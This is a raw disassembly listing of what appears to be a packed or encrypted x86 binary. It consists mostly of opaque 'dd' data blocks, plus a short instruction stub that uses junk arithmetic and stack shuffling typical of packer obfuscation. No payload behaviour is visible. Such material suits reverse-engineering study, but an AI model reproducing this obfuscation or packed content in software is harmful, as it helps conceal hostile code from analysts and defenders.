16A10A63h, 78D347EDh, 8EFFE725h dd 55AAA35h, 41EE940Ah, 3596CCD2h, 5F3FD458h, 0FE1166F6h dd 24FA5D79h, 0CF28FFE7h, 0C28C066h, 0FFE725C5h, 0E30F9AF3h dd 0FFE7657Ch, 8DA9CE46h, 0FFE7652Ah, 0B96FF58h, 0A5306EA6h dd 0B159134Ch, 2DFCB6DFh, 0BF6539D8h, 0A9392F5Eh, 0E765468Dh dd 0C9E525FFh, 0FFE76566h, 87A3338Ch, 0FFE76524h, 0A53F952h dd 93947BB1h, 2D000000h, 3ACA96F3h, 0E098601Eh, 9A257E07h dd 2FBFDF35h, 0DC6737DAh, 6ECF0DB3h, 9EBA4A20h, 7E0973Fh dd 4D79045Dh, 7E096E5h, 9BA25CDDh, 307A7663h, 5D01h, 9BF39200h dd 0B61935C5h, 0DCFFE683h, 68A8F883h, 0E682E94Ch, 18BE17FFh dd 0BFF5A96Bh, 0AA3A305Eh, 8D00156Ah, 6B5A3F17h, 0CB56BF2Fh dd 7188FCA2h, 1FFFE728h, 0A80F3BC6h, 45FFE768h, 625FDB05h dd 4768F3A2h, 0CE6620A1h, 0FE1AAAC0h, 0FFE762E7h, 0CC0C9CF5h dd 0E7624DB0h, 741A73FFh, 7CBC7F36h, 0E682FD60h, 51BEEAFFh dd 54E10001h, 6714BA13h, 1767F2ACh, 0DA58BBD7h, 257EFFE6h dd 5D41D27Fh, 61C3C627h, 3D61B1B1h, 0BDE12FD4h, 6884C454h dd 0FFE6DA05h, 2579962Bh, 6208719Ah, 514AECAh, 59B207E1h dd 0FDA174C9h, 3198C457h, 3B07E100h, 0F13100BAh, 0E10072D5h dd 0CD47A007h, 0EF2BE9E8h, 0CD9D43B0h, 406EB295h, 0BD203C7Ch dd 0E307E0A2h, 70D9C54Eh, 34E9CAh, 0F37A0000h, 1E3ACA96h dd 7E09C50h, 0F86AAAFFh, 0CEF7821Ch, 1D76BF65h, 9AFF6692h dd 710907E0h, 9BB21531h, 87E007E0h, 9FA660E1h, 406EA767h dd 10A05h, 6CA79600h, 0CF42A732h, 0DDF97E93h, 0FFE6837Ah dd 5BE64FA8h, 0F8831BF6h, 72FD66CFh, 1C71060Dh, 0F31CA7F7h dd 0E6832487h, 90F952FFh, 0B360B505h, 7B9845EBh, 0F279ED23h dd 91FFE687h, 3DC8D63Ch, 0DC6737D8h, 0F7A44AB3h, 9F4C821Ch dd 459A2A74h, 9528CED0h, 0C3530D7Ch, 7B475983h, 0BF1F6B8Ah dd 2DBFA519h, 92EB07E1h, 3C62AD02h, 0A4E288B1h, 4DB0CC0Ch dd 7307E103h, 0FE6737DEh, 0CE92F758h, 0E646223Eh, 0CB600FDDh dd 71DA544Ah, 7FA8B45Eh, 0AE0393FCh, 0FB933965h, 0FD336BA6h dd 1FDDC150h, 999A8586h, 2FAF4E89h, 0CD000002h, 721F5549h dd 1BC8FEA0h, 0C16EA4FAh, 6D1A504Eh, 90C4FAA4h, 811DF4DBh dd 28769E4Bh, 0D3CB45F2h, 7B23F09Dh, 21E7645h, 7E86A9Fh dd 0BCA85FC5h, 82FD607Ch, 0CA23FFE6h, 0DD9A7724h, 0E6835EC1h dd 0C22B84FFh, 0EBCAF48Ch, 847E2E12h, 98237B96h, 0B360066Fh dd 59AE3E60h, 2E57E2BCh, 0F3934A88h, 1E3ACA96h, 7E09C50h dd 3B65F54Eh, 0AA5F4F1Ch, 58BBD767h, 7E07E161h, 0FD17BC25h dd 3C68FBA1h, 7E161D5h, 0D5A45EDFh, 660C9280h, 6F6D5E96h dd 0D5FC40h, 0A78D0000h, 821CF66Ch, 0DA65CEF7h, 77029C75h dd 0E687C44Bh, 19858EFFh, 2BC25F89h, 0D58C8105h, 0CF44F12Fh dd 5E2B44CFh, 0E64F4FC6h, 52C11656h, 4C32A64Ch, 2B07E09Bh dd 207E96EBh, 9D006C95h, 0C307E09Ah, 544AC56Ah, 0B1FAA0C9h dd 4A8A2258h, 0E09ACB2Eh, 1F7F9507h, 952A6B94h, 7099247Ah dd 89006107h, 0F02B47D7h, 0D60FDD79h, 91ADED7Dh, 0FFED4B2Eh dd 0BD55FB54h, 5CB9A968h, 258EB742h, 0CFCF42EFh, 9ABB8A11h dd 97367199h, 10Ah, 447A24F2h, 0ED237B97h, 93C9D540h, 3F7529E6h dd 0E91F7F92h, 0FA1700B5h, 53C16EA4h, 0A868154Bh, 13C0F6h dd 4199689Eh, 0E86BC225h, 0D38AF007h, 0FE346AA7h, 4CDCC251h dd 0F09CAD22h, 0D0765522h, 70A5FA92h, 0A7D1882Eh, 1E1216Ch dd 4CDEC24h, 0DB048F0Fh, 197E0972h, 0BF14A4FAh, 66A44A54h dd 69879CEh, 4BAC527Bh, 7692223Eh, 7E8A2CDh, 89EC0848h dd 0B707E822h, 166FB85Eh, 0B1ED268Bh, 5945CE7Bh, 0A6D89C9h dd 3807E822h, 7AA639DFh, 62528190h, 3C0BC5FEh, 0F95CE112h dd 0D2FB8618h, 1869C458h, 71FCA273h, 1EF5A248h, 769D4A80h dd 0CC439828h, 34992CD2h, 0A638C3DBh, 34DFC37Dh, 63C42743h dd 0EAB95252h, 0E2162DF6h, 2BD0296Ah, 42DB8E6h, 78CD659Bh dd 0B15E049Ah, 8E100062h, 0DB7FE2FEh, 4CA55251h, 0F71353E3h dd 5251DB94h, 30C369C2h, 1191h, 0E61F4900h, 0EED52974h dd 0BBCC8329h, 0B5E9267Bh, 6FA7580Fh, 0D43FA42Fh, 36DA3FCAh dd 9C78DD68h, 0FF127702h, 62AF149Fh, 0C34CB13Ch, 2AEB50DBh dd 8E84E974h, 68528510h, 5F84h, 24048F54h, 4240483h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0AB68241Ch, 89000003h dd 68552414h, 2DB3C27h, 0E5C14D5Dh, 21B95108h, 12CC5B6h dd 0EB8959CDh, 663B685Dh, 24890000h, 24048124h, 4, 7FF8685Ah dd 4890000h, 8B824h, 0D0010000h, 0FF581889h, 815A2434h dd 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFF894FCh, 5C339578h dd 0FF42A668h, 0B64D66D2h, 1E97AB8h, 0FFC50308h, 0A630B2E0h dd 0C7414E77h, 48355643h, 0B1047F3Ch, 0D9FC966h, 6A38CC5Fh dd 2A4F5207h, 0F3D83775h, 0B78FF15Eh, 3E482435h, 0E90E2B39h dd 0B3C41E0Ch, 7A2BF860h, 74C1E078h, 7969B04Ah, 47AFE631h dd 354A610Eh, 4B813D4Fh, 0C1C01006h, 0D2563F62h, 58BC2A55h dd 21C0B77Ah, 0EE80Ch, 0A5720000h, 823AC63Ch, 0AF39C932h dd 1DAB0340h, 0F5E6160h, 0C681DBB7h, 0DCC4h, 168C0Fh, 11E90000h dd 36000000h, 0F75116A1h, 0D6963EDCh, 0C6B190A6h, 4694A05h dd 8B66D22Bh, 3234FFDAh, 6D12B966h, 0C7BF0F5Fh, 9523C781h dd 0DB810AF2h, 1D2A12C5h, 8644EF81h, 8B666152h, 51EF81DAh dd 53646AD4h, 8959C28Ah, 11E8163Ch, 8D000000h, 881A20FCh dd 48052C30h, 0AB6B584Dh, 59152925h, 58C88B66h, 81C8B70Fh dd 178152EAh, 0DBBF0F05h, 814EC281h, 0FE80517h, 0FE000000h dd 0AFE35BB2h, 9CA98B4Ah, 83A94881h, 0D8806CD3h, 0FA8158BFh dd 0FFFF2428h, 1D850Fh, 8C0F0000h, 3, 0E9DBBF0Fh, 2Ah dd 98EF721Bh, 0AC0999B4h, 739CB39Fh, 0B074BC12h, 0FF5FE91Ch dd 28D3FFFFh, 0AED0ACACh, 5F292FAFh, 3347BB1h, 5910E73Fh dd 2EE9C2A4h, 5B000000h, 26659Dh, 0Ah dup(0) dd 50EE900h, 0DE380000h, 35DD8AC0h, 8F863369h, 0E32CD90Fh dd 39D885BBh, 46FB2F65h, 0B4EAB45Dh, 5B910D07h, 63C62AEh dd 0AEE4BA59h, 86B87DFh, 2E07E86Eh, 6CA711C8h, 0CF42A732h dd 27EC99CFh, 7E92E777h, 97E77A20h, 0EF14AC6Dh, 0B55BC307h dd 0BE570B08h, 9C2C55E0h, 0E6BC1D80h, 81EA43FFh, 1D8191F6h dd 0CE314D8Dh, 0F4FFE6BCh, 962F59Bh, 0E13216D0h, 0BC177A96h dd 0A83DFFE6h, 80A9346Ah, 0CB78AE17h, 0AAF41D45h, 48F0F05h dd 8F3C72DBh, 2D921D81h, 0C72CB7E7h, 63C8534Bh, 3C62B0B2h dd 0CDF648D3h, 70996B13h, 8292E7B6h, 0C268911Ch, 6DA3FB15h dd 6A13ABD5h, 74CD5C56h, 1E98019Dh, 2E62561Fh, 2FDC82F2h dd 7977EE4h, 5FEA537Ch, 0E6EBCD33h, 0D18BFCFFh, 74F792CAh dd 673038h, 0A7C10000h, 78A2326Ch, 3E1D5ADAh, 59EC9279h dd 0E772C82Dh, 1F7F92FFh, 7EE42F94h, 16A10A94h, 670FC9FAh dd 0F7FEB829h, 38757EBFh, 15Dh, 6BA7EE00h, 0CF43A833h dd 30DF44CFh, 829EDE6Eh, 0FFE6831Fh, 0B346EC45h, 8367215Ah dd 2A7F0F8Fh, 52EB9E5h, 9F74215Fh, 44456FFFh, 79B487E9h dd 0F2AC6308h, 5A983E67h, 346AA7A3h, 0D0CE44A9h, 8CE12945h dd 67901B83h, 0A28640C1h, 4A9F2F6Fh, 0F230D6C8h, 45D0CE45h dd 0E52D35E0h, 0A0C550B9h, 3F9EC808h, 6F288272h, 68AD107Ch dd 69D3FFE7h, 0D0458302h, 15BB24F3h, 8BD3DA94h, 293874F3h dd 6Ch, 346AA7BAh, 0CDD144A9h, 0F85133Dh, 1064F8C8h, 8D339C02h dd 0AE68A1FAh, 0C75747CAh, 76019D72h, 37A0FE11h, 6BA65391h dd 0CC43A833h, 0A12247D2h, 6498E0E7h, 5B363875h, 0C7000000h dd 0A9346AA7h, 47D2CC44h, 5D5C31E2h, 53E6A0BAh, 0E146D13Ah dd 7FE46F2Fh, 45860A94h, 75FE38Bh, 4D48ABC7h, 156EFFE7h dd 5034EE6Fh, 0F0A7DDC1h, 0C40D92BCh, 3BCFE750h, 742AE895h dd 0C957BDE9h, 0FE86FFE6h, 0C93FA2BEh, 0C65FFE6h, 242BE566h dd 3874D4ECh, 18Ah, 6EA71B00h, 4976A030h, 12028C10h, 0CD1DB056h dd 6CC329A3h, 3DE3EC8Fh, 901B8390h, 371BD5FEh, 0D9184DEh dd 0BAF05982h, 0A0303059h, 32D8C64Bh, 0FD207E9Ah, 0E53E07E0h dd 801EF55Ah, 0EC769D4Ah, 810C7529h, 0E0F6F055h, 4383DB07h dd 0E0F7C427h, 0F399F207h, 3FD4B872h, 5191295Fh, 0E0F7D235h dd 0A76B0007h, 0DA436CF7h, 0F7CB2E4Ah, 0A0F907E0h, 0D8C64DFAh dd 732BE84Dh, 0E19BCCE8h, 528816FDh, 6F034A82h, 12AE840h dd 0F3790000h, 1E3ACA96h, 7E0B8C8h, 8DF27DD6h, 4AE21886h dd 0B88BEE0Ah, 4E6A07E0h, 7E0B7EBh, 267FC019h, 5E40D380h dd 0F9A56ED3h, 6721526Eh, 0CBE79083h, 7E0B868h, 3CCC358Eh dd 0B87DE0FCh, 4AA307E0h, 8ECE66A4h, 59C5D939h, 7E0B7F6h dd 4D1DC31Ch, 406EC415h, 346AA7FCh, 40AD8Eh, 1D5D0000h dd 0E0AC9E01h, 0C56BC407h, 0C69AF30Eh, 83971A36h, 0E43D7FE6h dd 82CA2D59h, 7EA77FE6h, 0E0612CC4h, 0E68261C4h, 0CD368F7Fh dd 829E213Dh, 0EB44FFE6h, 49C81DB5h, 0FBA1CA55h, 8B14h dd 96F3AD00h, 0BAFA3ACAh, 0E6833B9Eh, 6A1069FFh, 0E09A8CF6h dd 85DA5A07h, 40A30F8Fh, 6607E099h, 0B419A40Dh, 71093F5Fh dd 1AA5F91Ch, 759E4BF1h, 0FA6F9929h, 40B13DE5h, 7CCC5F05h dd 20B0EE27h, 0E13AA104h, 0D076CF07h, 0E13AF45Ch, 0B46EAF07h dd 255B43D0h, 8487638Dh, 62450ECAh, 0BF4A54BDh, 0FA8FF096h dd 0B1BAD666h, 330FE329h, 29EA4FDAh, 2F58EA75h, 0B4ACDD75h dd 2240CF24h, 0FC25B0EEh, 3955ED93h, 17E3BF30h, 70275DB6h dd 0F4AA67BCh, 399A4069h, 40801050h, 0D63929EBh, 45B95FC8h dd 7E86E3Ch, 2186116Ah, 0C976ACF2h, 9DC9544Ah, 364CDA89h dd 0E6CA84BDh, 0A33B712Dh, 9E44763h, 0B912264Ch, 0F1AD6613h dd 900E0166h, 3569AB00h, 48DB81AAh, 0EFD38DB6h, 0CDD13E24h dd 7AB01942h, 62A2B8E2h, 77E623E5h, 467803FDh, 781E1CCAh dd 0CB5648CBh, 0B0EE267Bh, 0D98060Bh, 3573EE4h, 0F0000000h dd 6FA75CBBh, 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h dd 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 52528510h dd 0B850E289h, 66FE51D2h, 1AE3205h, 58C20199h, 8704EA83h dd 505C2414h, 405E089h, 2D000000h, 4, 5C240487h db 89h, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov ebx, 186E726Fh shr ebx, 6 push eax mov eax, 39F81055h or ebx, eax pop eax shr ebx, 8 sub ebx, 0F8380E28h push 1FE7h mov [esp], esp add dword ptr [esp], 4 pop eax push ebp push ebx sub dword ptr [esp], 37037132h pop ebp add ebp, 37037132h mov [eax+8], ebp pop ebp push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- db 0C8h, 0C0h, 34h dd 1F006B8h, 0FFC50308h, 0F69B37E0h, 32F8861Eh, 13202B20h dd 74BA6039h, 2D83DA32h, 62991E1Ah, 0FC8A5952h, 0A6CE6A71h dd 624F7820h, 0B7BDA03h, 0C9810632h, 0E0E9627Eh, 0E24D523Dh dd 7F12FD58h, 9B9E8E72h, 51C5E66Bh, 0CFCCE737h, 74CF4144h dd 9824780Eh, 0C2DA7B7Bh, 0E27ED53h, 0F1D63679h, 8E7B602Eh dd 0F1267F3Ah, 0DE85Ah, 981B0000h, 0B52CC010h, 0A1E4250Ch dd 66A4A134h, 2F04C981h, 19810F5Fh, 0E8000000h, 0Dh, 2CF0958Fh dd 303502C5h, 9E5B5FB3h, 800FBEh, 5B000000h, 6957C781h dd 0C1810000h, 63C34709h, 0BEh, 12E800h, 0BE550000h, 15DAB13Ch dd 4B70AC4Ch, 0CB8BBC17h, 735290F1h, 5BCEBF0Fh, 0E937048Bh dd 0Ch, 0BB19D812h, 65F4EBA5h, 983655A5h, 1469E881h, 7E85A38h dd 99000000h, 9916B9EFh, 0C3806E4Bh, 0C0815B5Ch, 6C1E12C6h dd 3820Fh, 8B660000h, 0DC081D7h, 0E9447DC6h, 6, 1963BB2Fh dd 4893C2Ch, 0F2805037h, 0EE95B88h, 18000000h, 4C511DFCh dd 6E74DF28h, 0E5E77AACh, 2EE8367h, 4EC2D980h, 13E94Eh dd 0DEFE0000h, 0E5F2A002h, 9089A344h, 27FAFF5Ah, 1042712Fh dd 98FE81AAh, 0FFFFF97h, 0FFFF6F85h, 2DBA66FFh, 12E81Bh dd 0B9C50000h, 0E83AC46Ch, 3C98E737h, 209FE34Bh, 5AFFFA67h dd 0DE9h, 1680AB00h, 79589B22h, 0C2698E1h, 8B5A1BECh, 0AAC281CEh dd 6600005Eh, 0DB33C18Bh, 348BCF8Ah, 81C38B1Ah, 51CC1AEEh dd 0B860F4Fh, 0E9000000h, 6, 630B7343h, 0F68104A9h, 0EEE0A4Dh dd 81C7B70Fh, 0BFA2A2EEh, 28B0F51h, 8B000000h, 0E95756CBh dd 5, 7341B011h, 48F5921h, 23B5FC1Ah, 6003EB83h, 12E9h dd 8962800h, 2AF7FF0Dh, 7AEFC43Fh, 9B9ABCF8h, 662DED10h dd 61A12BBFh, 0CCE9B94Bh, 0FB811033h, 0FFFFA214h, 0FF88850Fh dd 11E9FFFFh, 0DB000000h, 0F7736F4Ah, 29D59F3Eh, 0AC9FFF25h dd 0E280F755h, 0ECE9h, 0 dd 81063700h, 81CE037Ch, 80C0587Ch, 9010057Ch, 9010ED7Ch dd 0F200007Ch, 276h, 5 dup(0) dd 80ADA000h, 7Ch, 2Bh dup(0) dd 600h, 3CB02C00h, 11EF2232h, 314A9016h, 2455F7FEh, 6AAA416Ah dd 0AC061301h, 41A54848h, 1564063Dh, 74064432h, 0D8DBA153h dd 1561EB18h, 0A8E58147h, 129C5CABh, 457F5632h, 0ADA69A61h dd 15668C23h, 35AFC1BBh, 88EB25C8h, 129AF316h, 4D3D5BCDh dd 0DFFF9B1h, 616625C8h, 0AD354125h, 15668C23h, 35AFC1BBh dd 88EB25C8h, 129ACE21h, 4D3D5BCDh, 1569ADC7h, 0D21D2232h dd 0E1EB153Ah, 39EB24A5h, 0CB1E6AE2h, 1CE22D66h, 75661132h dd 15E187CAh, 74664432h, 46A5AB61h, 969E4A6Ah, 1494608Fh dd 9169443Ah, 15662257h, 156600DBh, 5147BE32h, 0B2D9A19Dh dd 0FF7EE539h, 0B8B00EB2h, 90EB3A79h, 1D672842h, 156631DBh dd 238BA32h, 1C9CC96Bh, 3273F37Dh, 9F53DE42h, 0BF6E9C62h dd 956958CDh, 15664433h, 0B5E3AFCEh, 0FC6E105Eh, 15668839h dd 931A8841h, 49107B60h, 0EA227B6Fh, 9969E8E2h, 15664437h dd 5021ED89h, 0CAED772Ah, 70E34E53h, 4361BE34h, 1567A93Dh dd 0EC9F1132h, 0BDDEDA5Ah, 0A099BDAEh, 129C02A7h, 156AF952h dd 0D1FC8832h, 1DEA1C6Ah, 0CABCE1E1h, 9B6949C4h, 15668832h dd 1563AD6Ch, 0E9042232h, 740488BDh, 0B6BB0DBFh, 956943CFh dd 1566223Eh, 156616DBh, 0B74DB032h, 416EB3DFh, 9C9FF2CDh dd 0EF6D94B7h, 0CAE7E835h, 5F8FEAB3h, 74A59D3Dh, 19B794F5h dd 15668FC8h, 1A8F4432h, 2D662232h, 1021ADC1h, 0AF9202C3h dd 0DA4F3B44h, 90A0AB37h, 129C1757h, 7C0E7077h, 0FCE8365Bh dd 15662239h, 14EE5025h, 0F6B0E540h, 0EAC8ABCAh, 0EF6E8787h dd 156AF835h, 0C5318832h, 0CBB216D1h, 8119692Ah, 90EBA0C0h dd 129CB2D0h, 156648DBh, 586BB432h, 0A88F72F9h, 1D72648h dd 0FCB6BBB0h, 1566223Dh, 0FB689E9h, 82794F2Ah, 948AB603h dd 9C2E820Ah, 0EF4CB8B7h, 7507E835h, 70E38253h, 5661D834h dd 1574F952h, 0FA408832h, 94722A7Eh, 3546A0A2h, 1AE1562Ch dd 24BF4D7Fh, 743DB3B9h, 720D7C5Ah, 0A099EDAEh, 129C8097h dd 156643DBh, 4CB98132h, 848F0E0Bh, 2F840DBFh, 0EA9E43C8h dd 1560CBE2h, 97DB1132h, 144F179h, 15664BDBh, 2F9F5232h dd 0E0D5B7F9h, 989FF5A3h, 6C713A25h, 0E7B6A7BBh, 99691933h dd 15668825h, 0FC391652h, 1566223Ch, 9E087CE8h, 1301D5Fh dd 52D5FFBh, 0D307AB0Fh, 0EF6074B7h, 128FDC35h, 9D664432h dd 5A9E618Ah, 3C0E0B1Eh, 1A88EA5Ah, 156645B1h, 0A099DA32h dd 129C1997h, 0F7E305CAh, 1A61BE08h, 156633B1h, 0A2697132h dd 156060E4h, 0FCC04432h, 0ED9EE4A8h, 0C599706Bh, 78F7052h dd 32664432h, 7819B8DAh, 0B338C33h, 33B23250h, 7BADA6F2h dd 90EF432Bh, 1D67E3E6h, 70E34EC7h, 5061BE34h, 156AA23Dh dd 94691132h, 15668834h, 1566CD3Dh, 0D70E2232h, 0FCBC710Ah dd 15668820h, 0FA7F609Dh, 65CE470Bh, 995A5A25h, 4C591D7Eh dd 0A09999EBh, 129C2A97h, 15661FDBh, 0FC995732h, 0CD8B1983h dd 0B7538608h, 987A2335h, 0EF5C6AB7h, 0C599B835h, 0CDE3ABCBh dd 1A6E10C0h, 156687BCh, 156CAD32h, 0C9962232h, 348BAD93h dd 44284F23h, 156ECE3Dh, 98692232h, 15661130h, 0A8E5E952h dd 129C77DFh, 0EE32D32h, 75661133h, 7596373Dh, 0D30725CEh dd 0EF6047B7h, 93695435h, 15668825h, 1577C33Dh, 198F2232h dd 0BB661132h, 0D95C38D6h, 7E57AA27h, 7DF06CC0h, 0EF466FB4h dd 15668FDBh, 2AFB9732h, 31C7723h, 1DC3A4CDh, 92698FC8h dd 15664438h, 156627DBh, 63D18B32h, 90EB9D00h, 129C7ED0h dd 1567A73Dh, 0EA9E1132h, 9869E8E2h, 15664430h, 0BEDF8E86h dd 740B4DAEh, 0E7BA0DBBh, 98694C33h, 15662233h, 70E3D7C7h dd 59617234h, 0C5A52CCEh, 0EA9EC214h, 0EF6EB487h, 156D6135h dd 0B86B4432h, 9F1536C2h, 495B64BCh, 0F7E30580h, 0FC61BE08h dd 15662226h, 98657343h, 5DEA903Bh, 37D09A78h, 0F9972D49h dd 12FA96BCh, 58F58CDh, 25664432h, 0C912A73Bh, 0A430A937h dd 0D5B99C1Eh, 9C00D417h, 1494C2B7h, 18F713Ah, 61668832h dd 7892372Ch, 3041522Ah, 91206E5Fh, 0B439D1DFh, 1A87196Fh dd 156620B4h, 743D4232h, 156672DBh, 1576AD32h, 9BE32232h dd 0E3FA594Ch, 0B725527Dh, 2B9DF1A7h, 90A07109h, 129C1757h dd 14E98760h, 0EC664432h, 5F822F5Ah, 108E718Eh, 0B7668832h dd 8AC41996h, 156629DAh, 49364232h, 805F3765h, 0F4651248h dd 94007869h, 74F86FF3h, 3FDB3DCDh, 989F43C8h, 0EF5CC0B7h dd 1563F835h, 0FE658832h, 0EA74B108h, 156FCBE2h, 0AAC21132h dd 0CF45FD9Eh, 9C38068Dh, 1494FEB7h, 90A0ED3Ah, 129C8E57h dd 1A062460h, 156622B9h, 58E7032h, 0A4668832h, 0C9C1BE4Dh dd 0E66C2DFCh, 0D34F05C4h, 0FCDC4FFFh, 15664434h, 0E86ACF7Bh dd 7439312Ah, 592CC05Ah, 75932494h, 0AF007C60h, 7407F42Bh dd 3FDB3DCDh, 989F43C8h, 0EF5CC0B7h, 0EA077135h, 7506E8E2h dd 15EB4B53h, 74662232h, 1A0670C7h, 15668EB2h, 15EC4B32h dd 73662232h, 9C07CBB9h, 149468B7h, 1563AD3Ah, 0FBFB2232h dd 0D38C03DBh, 0EF60EDB7h, 0A1061635h, 906943EFh, 1566113Eh dd 1560023Dh, 98694432h, 15662232h, 57D2FB5Ah, 0D2EDE8CFh dd 0FC3D1552h, 15662239h, 4D148BCFh, 197A9774h, 74161BD0h dd 0B0D3DD53h, 0E961EB3Ah, 2F840DBFh, 0EA9E43C8h, 90EFDEE2h dd 129C095Fh, 15668DDBh, 0FE320B32h, 90A05057h, 129C1757h dd 0B60E7145h, 7595D39Ah, 156633DAh, 0CE43DC32h, 539F6C8Fh dd 4BDAD8DCh, 0AE304090h, 0AA69DB0Ah, 0CBE7D3F2h, 3F887084h dd 0D3DD53h, 7561EB37h, 0C7E7EEC7h, 98070F7Dh, 0EF5CC0B7h dd 1574F835h, 939D8832h, 9E9B5525h, 0DC21D78h, 3769C713h dd 46B750E8h, 0D4E72252h, 0C5EDB5C4h, 1AB6EE53h, 15669FB8h dd 1574AD32h, 77A42232h, 19D59E04h, 50289B79h, 0FF126FD8h dd 0BCDF8AF6h, 30B94BBh, 95698FC8h, 15664433h, 1560CBC7h dd 0C2A61132h, 46A6B523h, 1303C1F4h, 0FC3425C8h, 15661121h dd 0AE360088h, 6C2CB150h, 778741B1h, 0B57B54A1h, 7DA646B5h dd 9FBB7525h, 156BA83Dh, 73061132h, 8B594FB3h, 1566CC3Dh dd 0EA072232h, 0EF6EB487h, 1DE98735h, 75664432h, 0BBADF8B3h dd 0FC075246h, 15668820h, 0DF5C399h, 21447BD4h, 0FA6A661Ah dd 201DE820h, 90EB338Dh, 129C18D0h, 15739F3Dh, 58F8832h dd 30664432h, 0E58F2E8Bh, 2213B922h, 5BC22DD8h, 0EA5DEDA2h dd 1B8F42E2h, 0D2661132h, 58707D34h, 0D977E0D4h, 0E729BC88h dd 749D9A98h, 4AB0DBBh, 198F43C8h, 9C662232h, 0C2F883FEh dd 78BDBD7Dh, 0D3D6A997h, 0EF6047B7h, 9E064735h, 749503E8h dd 0A0B7D5Ah, 0A099DEE6h, 129C31A7h, 0C8E305CAh, 7561B991h dd 156629DBh, 0FD025932h, 0C6940683h, 6700057Fh, 156636DAh dd 8DC91032h, 622B6946h, 72151BA9h, 2455DA25h, 37EF284h dd 4BA43DD8h, 0FCB6BB53h, 1566223Dh, 0C9D428F0h, 0D0B9B759h dd 4B928AE1h, 9CF234D8h, 0EF6664B7h, 3EF8735h, 75664432h dd 0FDA4A954h, 15661139h, 0F517B53Ah, 9B30CB81h, 4E3ADE7Bh dd 70E3D753h, 52617234h, 15664EDBh, 55DB7D32h, 64AFEB33h dd 7D0F7FE6h, 94BA5448h, 0DED12D52h, 574FC0B3h, 0EA079BF3h dd 0EF6EE187h, 48F4235h, 5E661132h, 0A7350081h, 86F39C6Ch dd 7E8C2714h, 995116AFh, 168C0954h, 90EB25D6h, 129C18D0h dd 75B6EECAh dd 0E5890954h, 0AC0013D5h, 743FF5AEh, 186B94BBh, 1B8F8FC8h dd 84664432h, 54B3850Bh, 0FBB73C6Ch, 59423C07h, 70E382BFh dd 5261D834h, 156601DBh, 3173EA32h, 27DD443Dh, 0F276971Ah dd 7C271769h, 0A084E033h, 9969CE3Dh, 1566223Eh, 156616DBh dd 5C4E0E32h, 0ECB8D334h, 1DC397CDh, 188F16C8h, 0B4668832h dd 4831DE62h, 4A533951h, 0CA2F05Fh, 2F840DBFh, 0EA9343C8h dd 1B8F42E2h, 68661132h, 0F7953E73h, 23E9D77Eh, 5AC375E0h dd 5D37121h, 90EFE953h, 1D67B732h, 4B354252h, 90A17053h dd 129C899Fh, 1566444Ah, 1567A03Dh, 96931132h, 0EF40798Fh dd 91694435h, 15663B97h, 156E9B3Dh, 1A068832h, 156644BBh dd 90A04332h, 129C1757h, 9E00E87Eh, 0D1AFC5C2h, 7477C5D4h dd 0CF7AF85Ah, 157761EBh, 4D9B4432h, 7E0C8889h, 0DDB6272Fh dd 4C618753h, 0EA4D1DA3h, 0EF6E8787h, 0DE21E35h, 0FC668832h dd 15664421h, 0AECCD07Dh, 0E4D8C16Eh, 0A08DCCDFh, 0B52AC43h dd 0FC8B4F81h, 15661137h, 64847EEBh, 0F7E3C90Dh, 0FC61D808h dd 1566113Ch, 2F0C1B6Bh, 1C06946Ch, 833E0067h, 0C599674Ah dd 0F9E301C7h, 0FC6E45C0h, 15662239h, 621B3EF1h, 0A64825F9h dd 0D300974Fh, 0EF6047B7h, 0A3065D35h, 0EF950916h, 7460D429h dd 61B8EC5Ah, 19E61EEFh, 1A668832h, 156642BFh, 15EC2D32h dd 0EA661132h, 0EF6E2D87h, 0CE54B35h, 0FC662232h, 15661126h dd 31167782h, 96B2290Ah, 614F007Eh, 0AD9831F2h, 4CEF325Bh dd 2F84C1BFh, 0EA9F25C8h, 90EFE8E2h, 1D677AC2h, 0D5D92252h dd 74E9930Eh, 0D2E77752h, 9E00969Fh, 90A025C9h, 129C2457h dd 18ED1E7Eh, 0FC668832h, 1566443Ah, 21E43EA7h, 0AED2737Ah dd 15669CDBh, 0ECC0A532h, 4339BA52h, 7AFAC2Ch, 0EAFD5FB8h dd 682A3047h, 97594AB4h, 9969A6B3h, 1566882Fh, 1575AC52h dd 692F2232h, 157D215Fh, 0E320D9E5h, 29734EF3h, 65FF0F64h dd 74064B8Ch, 0A0997D53h, 129C4C97h, 156636DBh, 2C533432h dd 59230F1h, 6095DBDEh, 555E8332h, 0B72054C0h, 0F7E30508h dd 0E961BE08h, 48FF2CDh, 7C661132h, 9D720FE4h, 785AFEC8h dd 0C00C76C2h, 41C64564h, 0E1E301CEh, 0FC6E45C0h, 15662222h dd 7712D227h, 9C1A8D1Ah, 7A997189h, 0D7B0C8ACh, 130394F4h dd 752A8FC8h, 36FCFA54h, 0D0E43C7h, 75D53E72h, 0EA0758B9h dd 0EF6EE187h, 19E82D35h, 0FC661132h, 15668835h, 193C533Bh dd 98586AF2h, 0EF5CF3B7h, 14E48735h, 0E9664432h, 1E8FF2CDh dd 1E661132h, 19123D16h, 0F2A0B768h, 90EFCE53h, 1D67E3C6h dd 9FD9E852h, 1A64C6BAh, 156622BFh, 0A2697032h, 90A0E9F5h dd 129C4257h, 10EDB74h, 1ADCCF34h, 156689BDh, 0A099B132h dd 129C2A97h, 15661EDBh, 0AC88E532h, 1D07C75h, 0F6175C5Bh dd 54F0124Fh, 15690B3Dh, 1F8F4432h, 51662232h, 4165CA11h dd 57C5EF4Dh, 0F7E3C9E8h, 0FC61D808h, 15661138h, 820F87B1h dd 8F07C9F9h, 0C5997FFCh, 156616DBh, 0EF98C32h, 0E35304C3h dd 0E79AA7BBh, 0D39E1933h, 0EF60EDB7h, 188F0335h, 0E3662232h dd 7A49D481h, 0EB508BCh, 960AFAB7h, 0C976585Ah, 14E51EB3h dd 0E0668832h, 1DC3F1CDh, 750625C8h, 63BDC6B3h, 4A36D0F8h dd 1568AC53h, 0AE232232h, 0FE52B233h, 0EA3046B7h, 1AFB67B4h dd 13E5C8B3h, 743C2AF8h, 2F840DBFh, 